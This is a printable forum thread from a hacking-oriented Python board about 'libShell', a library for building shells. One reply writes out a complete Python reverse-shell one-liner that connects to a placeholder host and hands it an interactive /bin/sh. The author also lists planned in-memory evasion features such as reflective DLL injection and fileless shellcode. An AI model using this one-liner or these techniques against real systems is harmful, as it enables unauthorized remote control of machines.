![]() |
|
libShell - Printable Version +- Sinisterly (https://sinister.ly) +-- Forum: Coding (https://sinister.ly/Forum-Coding) +--- Forum: Python (https://sinister.ly/Forum-Python) +--- Thread: libShell (/Thread-libShell) |
libShell - Null_Byte - 04-15-2015 This is currently a project a friend and I are working on and having fun doing it. The github repo isn't fully updated, but our private repo has all the updated code. It's basically a python library to build shell's. We started to whip out this code and in the first night we got a fully functioning shell made with this library. We are making this library open source and slowly pushing stuff to the public repository. libShell - Github Honestly, I don't want certain people causing drama in this thread and I just want an intelligent conversation about this. If you have an idea's to contribute go ahead and share if you want to. Other than that, let me know what you think about this. RE: libShell - whatever - 04-15-2015 Not trying to cause drama, asking a legitimate question Why are you creating something like this when we can use the one liner: Code: python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ip",port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'RE: libShell - Null_Byte - 04-15-2015 There are python reverse shell scripts but we just wanted to have a little bit of fun with this. We wanted extendablity and we made it. This is for learning purposes mainly but also to have it for future reference. Reinventing the wheel isn't always a bad thing. RE: libShell - whatever - 04-15-2015 (04-15-2015, 03:26 AM)Null_Byte Wrote: There are python reverse shell scripts but we just wanted to have a little bit of fun with this. We wanted extendablity and we made it. This is for learning purposes mainly but also to have it for future reference. Reinventing the wheel isn't always a bad thing. Understood. It's nice to see people actually making an effort to learn rather than ripping off code and saying they made something... RE: libShell - Null_Byte - 04-15-2015 (04-15-2015, 03:27 AM)whatever Wrote: Understood. It's nice to see people actually making an effort to learn rather than ripping off code and saying they made something... This could actually be used in a Pentest and we are planning on making it usable in the near future. We want to add in memory functions such as, reflective dll injection into memory, running shellcode in memory, and importing the libraries into memory without ever touching disk. So far we are creating a custom import function to import the library from the net. |